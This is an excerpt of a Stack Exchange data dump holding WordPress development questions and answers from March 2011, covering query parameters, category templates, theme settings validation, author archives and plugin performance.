  <row Id="12210" PostTypeId="1" AcceptedAnswerId="12211" CreationDate="2011-03-16T12:45:31.997" Score="0" ViewCount="79" Body="&lt;p&gt;How would we query posts as long as the post does not equal the ID 2047?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the current query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$args1 = array(&#xA;    'post_type' =&amp;gt; 'options',&#xA;    'tag_slug__and' =&amp;gt; array( $triplevel, $divingtrip, 'accommodation' ),&#xA;    'posts_per_page' =&amp;gt; -1,&#xA;    'offset' =&amp;gt; 1,&#xA;); &#xA;query_posts( $args1 ); while (have_posts()) : the_post();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( $args1 . 'p!=2047' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..to no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marvellous&lt;/p&gt;&#xA;" OwnerUserId="2957" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-16T13:16:41.563" LastActivityDate="2011-03-16T13:16:41.563" Title="Query posts without a specific ID" Tags="&lt;query-posts&gt;&lt;posts&gt;" AnswerCount="1" />
  <row Id="12211" PostTypeId="2" ParentId="12210" CreationDate="2011-03-16T12:51:22.460" Score="3" ViewCount="" Body="&lt;p&gt;Most of the things you can do with a query are described in the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;Codex page for WP_Query&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to use the 'post__not_in' parameter eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(    &#xA;              'post__not_in' =&amp;gt; array('34','54'), // post ids   &#xA;              'post_type' =&amp;gt; 'page'   &#xA;             );` &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-16T12:51:22.460" />
  <row Id="12212" PostTypeId="2" ParentId="3028" CreationDate="2011-03-16T13:09:36.190" Score="1" ViewCount="" Body="&lt;p&gt;Not 100% sure whether it'll work on your case, but I've used &lt;a href=&quot;http://wordpress.org/extend/plugins/sitewide-newsletter/&quot; rel=&quot;nofollow&quot;&gt;Sitewide Newsletters&lt;/a&gt; to email my users. The plugin itself is crude mailer but seems to do the job (with my 200+ users).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The good thing about the plugin is that it's rather new and developer seems to be eager to listen to improvement suggestions, like in &lt;a href=&quot;http://wordpress.org/support/topic/plugin-sitewide-newsletters-sitewide-newsletter-development-ideas?replies=7&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt;. I expect to get all the features I'm missing in the next version :)&lt;/p&gt;&#xA;" OwnerUserId="3984" LastActivityDate="2011-03-16T13:09:36.190" />
  <row Id="12213" PostTypeId="2" ParentId="11892" CreationDate="2011-03-16T13:13:03.767" Score="2" ViewCount="" Body="&lt;p&gt;You can send any request for author pages to a 404 with a simple action on &lt;code&gt;parse_query&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'parse_query', '_404_author_archives' );&#xA;function _404_author_archives( $qr ) {&#xA;    if( is_author() )&#xA;        $qr-&amp;gt;set_404();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should send any requests for an author page to a 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to go a bit further and remove the author rewrite rules you could also do that quite easily with a filter on &lt;code&gt;author_rewrite_rules&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'author_rewrite_rules', 'remove_author_rules' );&#xA;function remove_author_rules() {&#xA;    return array();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Untested, but you'll have to let me know if that's not quite enough author elimination..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-16T13:13:03.767" CommentCount="1" />
  <row Id="12214" PostTypeId="2" ParentId="12208" CreationDate="2011-03-16T13:15:46.523" Score="2" ViewCount="" Body="&lt;p&gt;You have the basic idea.  You can build up a theme using html and css as you see fit.  That controls the look and feel basically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The php brings the content and function.  I learned to make themes by picking at other themes until I figured out what the php did.  You can look up each template tag in the codex to get an idea of what it does&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'twentyten' you refer to would do nothing in your theme unless you do it properly.  Nor would changing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that refers to the text domain...you can see this in twentyten's functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Make theme available for translation&#xA;// Translations can be filed in the /languages/ directory&#xA;load_theme_textdomain( 'twentyten', TEMPLATEPATH . '/languages' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it is the textdomain for being able to translate the theme.  In your example code it is so that the word Page can be translated to the user language&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/load_theme_textdomain&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/load_theme_textdomain&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/I18n_for_WordPress_Developers&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/I18n_for_WordPress_Developers&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For personal themes you will never release, it's not necessarily so important.  But it's great to learn how to use.  And its necessary if you ever plan to release a theme&lt;/p&gt;&#xA;" OwnerUserId="3429" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-16T13:26:56.073" LastActivityDate="2011-03-16T13:26:56.073" CommentCount="3" />
  <row Id="12215" PostTypeId="2" ParentId="12152" CreationDate="2011-03-16T13:51:42.020" Score="0" ViewCount="" Body="&lt;p&gt;I think you'll need to set the month and year also(possibly), see the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Time_Parameters&quot; rel=&quot;nofollow&quot;&gt;Time Parameters&lt;/a&gt; for &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;WP_Query&lt;/a&gt;, parameters shown throughout that page also apply to &lt;code&gt;query_posts&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-16T13:51:42.020" />
  <row Id="12216" PostTypeId="2" ParentId="12072" CreationDate="2011-03-16T14:07:14.453" Score="1" ViewCount="" Body="&lt;p&gt;Got it.  Cant use wp_update_user for new addition i guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;need to use: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_create_user( $userdata['user_login'], $userdata['user_pass'], $userdata['user_email'] );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3491" LastActivityDate="2011-03-16T14:07:14.453" />
  <row Id="12217" PostTypeId="1" AcceptedAnswerId="12616" CreationDate="2011-03-16T14:50:04.663" Score="1" ViewCount="334" Body="&lt;p&gt;Is there a simple or easy way to exclude all posts from a custom taxonomy in the loop? I've been looking high and low, and neither SE, SO or Google seem to have a straight answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it can be done via a WPDB query, but that just seems like massive rope to jump for something that should be fairly simple.&lt;/p&gt;&#xA;" OwnerUserId="3986" LastActivityDate="2011-04-20T12:41:01.407" Title="How do I exclude a custom taxonomy from the post loop" Tags="&lt;custom-taxonomy&gt;&lt;query-posts&gt;&lt;wp-query&gt;&lt;the-loop&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="12218" PostTypeId="1" CreationDate="2011-03-16T14:50:45.803" Score="0" ViewCount="109" Body="&lt;p&gt;I've searched everywhere but I don't seem to find a solution for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a WP installation that is using sub-domains and doesn't have yet any other sites besides the main site. What I want to do, without reinstalling from fresh, is enabling sub-directories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried changing in the wp-config &lt;code&gt;define( 'SUBDOMAIN_INSTALL', true );&lt;/code&gt; to &lt;code&gt;define( 'SUBDOMAIN_INSTALL', false );&lt;/code&gt; and it allowed to create a site in a sub-directory but when viewing the site I can see only the HTML (no CSS) and I can't access the administration area of the site. I'm guessing there's something else that needs to be done so the paths work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2085" LastActivityDate="2011-03-16T14:50:45.803" Title="Change multi-site instalation from sub-domains to sub-directories" Tags="&lt;multisite&gt;&lt;installation&gt;&lt;subdomains&gt;&lt;subdirectories&gt;" CommentCount="1" FavoriteCount="1" />
  <row Id="12219" PostTypeId="2" ParentId="12152" CreationDate="2011-03-16T14:51:31.637" Score="2" ViewCount="" Body="&lt;p&gt;This should do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$day = date('Ymd');&#xA;query_posts(&quot;m=$day&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The query arg &lt;code&gt;'m'&lt;/code&gt; for WordPress will be interpreted as a year if it is four characters long, a month if 6, and a date if 8.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You should probably add in the original query string just in case you're writing enough to need things like pagination:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $query_string;&#xA;$query_string = empty($query_string) ? 'm=' : $query_string . '&amp;amp;m=';&#xA;$query_string .= date('Ymd');&#xA;query_posts( $query_string );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will allow you to preserve other query arguments that are supposed to be there.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-03-16T14:51:31.637" />
  <row Id="12220" PostTypeId="2" ParentId="11257" CreationDate="2011-03-16T15:18:29.633" Score="0" ViewCount="" Body="&lt;p&gt;It seems like what I want is something that WordPress's internal permalink code isn't prepared to deal with. After reading &lt;a href=&quot;http://ottopress.com/2010/category-in-permalinks-considered-harmful/&quot; rel=&quot;nofollow&quot;&gt;this writeup by Otto&lt;/a&gt;, I've come to understand that having my permalinks start with %category% could create a performance issue down the road and I would have to create a function that further alters the WordPress permalink rules in order to get the attachment permalinks working with %category%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result, I've decided to start all my posts with the year. This allows me to use the solution found &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2133/changing-attachment-urls&quot;&gt;here&lt;/a&gt; for attachment permalinks, and I'll avoid performance headaches in the future.&lt;/p&gt;&#xA;" OwnerUserId="3738" LastActivityDate="2011-03-16T15:18:29.633" />
  <row Id="12221" PostTypeId="1" AcceptedAnswerId="12223" CreationDate="2011-03-16T15:30:39.587" Score="0" ViewCount="162" Body="&lt;p&gt;i have category-events.php to list my posts tagged 'events' but it wont work for 'events' child categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie i have some posts tagged 'events' and one of events' children 'exhibition'. I thought it would use category-events.php automatically but it doesn't. Is this possible as i want to user category-events.php for several of 'events' child categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope that makes sense and any pointers welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;dan.&lt;/p&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-03-16T15:58:41.487" Title="one category template for multiple categories" Tags="&lt;categories&gt;&lt;template&gt;" AnswerCount="2" />
  <row Id="12222" PostTypeId="2" ParentId="12207" CreationDate="2011-03-16T15:31:21.927" Score="1" ViewCount="" Body="&lt;p&gt;I believe this is by design. WordPress saves posts without &lt;code&gt;&amp;lt;p /&amp;gt;&lt;/code&gt;'s unless you explictly add them in the HTML component of the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you import content, each post is passed through a filter so that it behaves as if the post were 'being saved'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress will then generate paragraphs on-the-fly when a post is viewed on the front-end of the website.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-16T15:31:21.927" />
  <row Id="12223" PostTypeId="2" ParentId="12221" CreationDate="2011-03-16T15:54:12.523" Score="0" ViewCount="" Body="&lt;p&gt;ah - found it here!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/4557/how-can-i-make-all-subcategories-use-the-template-of-its-category-parent&quot;&gt;How can I make all subcategories use the template of its category parent?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks...&lt;/p&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-03-16T15:54:12.523" />
  <row Id="12224" PostTypeId="2" ParentId="2117" CreationDate="2011-03-16T15:57:40.817" Score="1" ViewCount="" Body="&lt;p&gt;Since WP 3.1, you can cast the meta value to anything you want using the 'type' argument in 'meta_query':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;  'meta_query'=&amp;gt; array(&#xA;    array(&#xA;      'key' =&amp;gt; 'vote',&#xA;      'compare' =&amp;gt; '&amp;gt;=',&#xA;      'value' =&amp;gt; 5,&#xA;      'type' =&amp;gt; 'numeric',&#xA;    )&#xA;  )&#xA;  'posts_per_page' =&amp;gt; 100&#xA;) );&#xA;&#xA;query_posts( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-16T15:57:40.817" />
  <row Id="12225" PostTypeId="2" ParentId="12221" CreationDate="2011-03-16T15:58:41.487" Score="1" ViewCount="" Body="&lt;p&gt;First paste this code in your theme's functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function post_is_in_descendant_category( $cats, $_post = null ){&#xA;    foreach ( (array) $cats as $cat ) {&#xA;        // get_term_children() accepts integer ID only&#xA;        $descendants = get_term_children( (int) $cat, 'category');&#xA;        if ( $descendants &amp;amp;&amp;amp; in_category( $descendants, $_post ) )&#xA;            return true;&#xA;    }&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then on your category.php or archive.php (depends on your theme) at the very top add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (post_is_in_descendant_category(33)){&#xA; include (TEMPLATEPATH . '/category-events.php'); &#xA; exit;&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change 33 to the ID of the 'events' category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What it does is check if the current category is a child category of events and if so it uses the right theme file.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-16T15:58:41.487" CommentCount="1" />
  <row Id="12226" PostTypeId="2" ParentId="12078" CreationDate="2011-03-16T16:03:38.313" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@Mamaduka:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is why your settings aren't updating. Your validation function is wrong. To wit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ev_options_validate( $input ) {&#xA;    $ev_options = get_option( 'theme_evolutionary_options' );&#xA;    $valid_input = $ev_options;&#xA;&#xA;    $ev_options['color_scheme'] = array_key_exists( $ev_options['color_scheme'], ev_get_valid_color_schemes() ) ? $ev_options['color_scheme'] : 'blue';&#xA;    $ev_options['copytright'] = wp_kses_data( $ev_options['copyright'] );&#xA;&#xA;    return $valid_input;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You're &lt;em&gt;updating&lt;/em&gt; $ev_options, but &lt;em&gt;returning&lt;/em&gt; $valid_input. You need to be updating $valid_input, not $ev_options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ev_options_validate( $input ) {&#xA;    $ev_options = get_option( 'theme_evolutionary_options' );&#xA;    $valid_input = $ev_options;&#xA;&#xA;    $valid_input['color_scheme'] = array_key_exists( $ev_options['color_scheme'], ev_get_valid_color_schemes() ) ? $ev_options['color_scheme'] : 'blue';&#xA;    $valid_input['copytright'] = wp_kses_data( $ev_options['copyright'] );&#xA;&#xA;    return $valid_input;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See if that fixes your problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDITED TO ADD:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your next problem in the validation function is that you're comparing $ev_options to/against itself, when you need to be evaluating $input against $valid_input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ev_options_validate( $input ) {&#xA;    $ev_options = get_option( 'theme_evolutionary_options' );&#xA;    $valid_input = $ev_options;&#xA;&#xA;    $valid_input['color_scheme'] = array_key_exists( $ev_options['color_scheme'], ev_get_valid_color_schemes() ) ? $ev_options['color_scheme'] : 'blue';&#xA;    $valid_input['copytright'] = wp_kses_data( $ev_options['copyright'] );&#xA;&#xA;    return $valid_input;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ev_options_validate( $input ) {&#xA;    $ev_options = get_option( 'theme_evolutionary_options' );&#xA;    $valid_input = $ev_options;&#xA;&#xA;    $valid_input['color_scheme'] = array_key_exists( $input['color_scheme'], ev_get_valid_color_schemes() ) ? $input['color_scheme'] : 'blue';&#xA;    $valid_input['copytright'] = wp_kses_data( $input['copyright'] );&#xA;&#xA;    return $valid_input;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Specifically, change this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$valid_input['color_scheme'] = array_key_exists( $ev_options['color_scheme'], ev_get_valid_color_schemes() ) ? $ev_options['color_scheme'] : 'blue';&#xA;$valid_input['copytright'] = wp_kses_data( $ev_options['copyright'] );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$valid_input['color_scheme'] = array_key_exists( $input['color_scheme'], ev_get_valid_color_schemes() ) ? $input['color_scheme'] : 'blue';&#xA;$valid_input['copytright'] = wp_kses_data( $input['copyright'] );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And &lt;em&gt;then&lt;/em&gt;, I think, your options should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;@TheDeadMedic:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Settings API handles looking at any $POST data. That's not the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the default-settings updating on init, here's my original, example code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function oenology_options_init() {&#xA;     // set options equal to defaults&#xA;     global $oenology_options;&#xA;     $oenology_options = get_option( 'theme_oenology_options' );&#xA;     if ( false === $oenology_options ) {&#xA;          $oenology_options = oenology_get_default_options();&#xA;     }&#xA;     update_option( 'theme_oenology_options', $oenology_options );&#xA;}&#xA;// Initialize Theme options&#xA;add_action('after_setup_theme','oenology_options_init', 9 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's Mamaduka's code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ev_options_init() {&#xA;    // Set options equal to defaults&#xA;    global $ev_options;&#xA;    $ev_options = ev_theme_settings_defaults();&#xA;    if ( false === $ev_options ) {&#xA;        $ev_options = ev_theme_settings_defaults();&#xA;    }&#xA;    update_option( 'theme_evolutionary_options', $ev_options );&#xA;}&#xA;&#xA;add_action( 'after_setup_theme', 'ev_options_init', 9 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you see the difference? There is a critical change from oenology_options_init() to ev_options_init(), to wit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $oenology_options;&#xA;$oenology_options = get_option( 'theme_oenology_options' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Versus this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $ev_options;&#xA;$ev_options = ev_theme_settings_defaults();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thus, in ev_options_init(), the function never actually does anything, because of the change.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-03-18T18:28:42.920" LastActivityDate="2011-03-18T18:28:42.920" CommentCount="6" />
  <row Id="12227" PostTypeId="2" ParentId="12217" CreationDate="2011-03-16T16:34:36.637" Score="0" ViewCount="" Body="&lt;p&gt;I use the &quot;RYO ‘Category Visibility’ WordPress Plugin&quot; that seems to work pretty well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can decide on an admin page what categories are visible or excluded from various areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ryowebsite.com/wp-plugins/category-visibility/&quot; rel=&quot;nofollow&quot;&gt;http://ryowebsite.com/wp-plugins/category-visibility/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Adam&lt;/p&gt;&#xA;" OwnerUserId="3989" LastActivityDate="2011-03-16T16:34:36.637" CommentCount="1" />
  <row Id="12228" PostTypeId="1" CreationDate="2011-03-16T16:42:26.190" Score="0" ViewCount="135" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/222/do-deactivated-plugins-slow-down-a-wordpress-site&quot;&gt;Do deactivated plugins slow down a WordPress site?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Hi, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does having inactive plugins installed (but not active) impact the performance of your wordpress install? Is it always better to delete them rather than just leaving them installed but inactive?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Adam&lt;/p&gt;&#xA;" OwnerUserId="3989" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-16T20:49:25.400" LastActivityDate="2011-03-16T20:49:25.400" ClosedDate="2011-03-16T19:00:45.103" Title="Performance impact with inactive plugins?" Tags="&lt;plugins&gt;&lt;performance&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="12229" PostTypeId="2" ParentId="12228" CreationDate="2011-03-16T17:09:38.397" Score="1" ViewCount="" Body="&lt;p&gt;From searching around, the consensus seems to be that the only real impact of inactive plugins is in the Dashboard, because that's where &lt;code&gt;get_plugins()&lt;/code&gt; (which scans the &lt;code&gt;wp-content/plugins&lt;/code&gt; directory) is called. So probably zero impact on public-facing pages.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-03-16T17:09:38.397" />
  <row Id="12230" PostTypeId="1" AcceptedAnswerId="12232" CreationDate="2011-03-16T17:26:06.527" Score="0" ViewCount="58" Body="&lt;p&gt;I'm writing a plugin and want to have a feature where, in the Admin area, the user will click on a link and it will download a theme to the /themes directory on their server. How would I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-03-16T17:31:42.697" Title="Create a Plugin to Download Files from Web to Server" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="12231" PostTypeId="2" ParentId="12228" CreationDate="2011-03-16T17:28:44.103" Score="1" ViewCount="" Body="&lt;p&gt;It could also have (a small) impact if you previously activated the plugin (or a theme @one trick pony) and it added some options that autoload. So you would have invisible queries. But be aware that there are a lot of plugins out there that don't remove their options on uninstall (which they shouldn't on deactivation).&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-16T17:42:38.267" LastActivityDate="2011-03-16T17:42:38.267" CommentCount="6" />
  <row Id="12232" PostTypeId="2" ParentId="12230" CreationDate="2011-03-16T17:31:42.697" Score="1" ViewCount="" Body="&lt;p&gt;Ehm... You are writing the plugin or thinking about it? Could you show us some stuff that you already did? You should check the permissions on the server where you want to upload the files. Then - in case - change chmod, upload and then change chmod back for sec. reasons. &lt;a href=&quot;http://www.wpajax.com/articles/wordpress-upgrade-class-for-commercial-or-client-plugins&quot; rel=&quot;nofollow&quot;&gt;Maybe the update class will help you a little further.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-16T17:31:42.697" />
  <row Id="12233" PostTypeId="2" ParentId="12206" CreationDate="2011-03-16T17:40:48.723" Score="0" ViewCount="" Body="&lt;p&gt;You can use with &lt;code&gt;add_meta_box&lt;/code&gt; the following arguments instead of...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'side' (context): 'normal', 'advanced', or 'side'  &#xA;'low' (priority): 'high' or 'low'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...to move stuff around.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-16T17:40:48.723" />
  <row Id="12234" PostTypeId="1" CreationDate="2011-03-16T18:08:04.680" Score="0" ViewCount="108" Body="&lt;p&gt;On my homepage I have a slider at the top and then three columns below that. I would like to pull the three latest post for a category in each column. So each column will have three post titles and dates for a single category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me what the Query would be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;14ner&lt;/p&gt;&#xA;" OwnerUserId="3992" LastActivityDate="2011-03-16T18:16:55.823" Title="How to Query Post" Tags="&lt;query-posts&gt;" AnswerCount="1" />
  <row Id="12236" PostTypeId="2" ParentId="12234" CreationDate="2011-03-16T18:16:55.823" Score="3" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;global $post;&#xA;$args = array( 'numberposts' =&amp;gt; 5, 'category' =&amp;gt; 1 );&#xA;$myposts = get_posts( $args );&#xA;foreach( $myposts as $post ) :  setup_postdata($post); ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt; - &amp;lt;?php the_date(); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More info:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;query_posts()&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-03-16T18:16:55.823" CommentCount="3" />
  <row Id="12237" PostTypeId="1" CreationDate="2011-03-16T19:12:33.987" Score="0" ViewCount="102" Body="&lt;p&gt;I need your help. I want to place a archive calendar in my sidebar. Below a screenshot of Calendar which i choose but i can't understand how to do it. Calendar should have year and month dropdown list and highlights only days which have posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use wordpress default calendar widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.shareimages.com/image.php?53627-pZOal5ihk6WilqGX-archive.jpg&quot; rel=&quot;nofollow&quot;&gt;Archive image Screenshot&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, MHR&lt;/p&gt;&#xA;" OwnerUserId="3993" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-03-17T18:57:18.807" LastActivityDate="2011-03-17T18:57:18.807" Title="Archive Calendar" Tags="&lt;archive&gt;" CommentCount="1" />
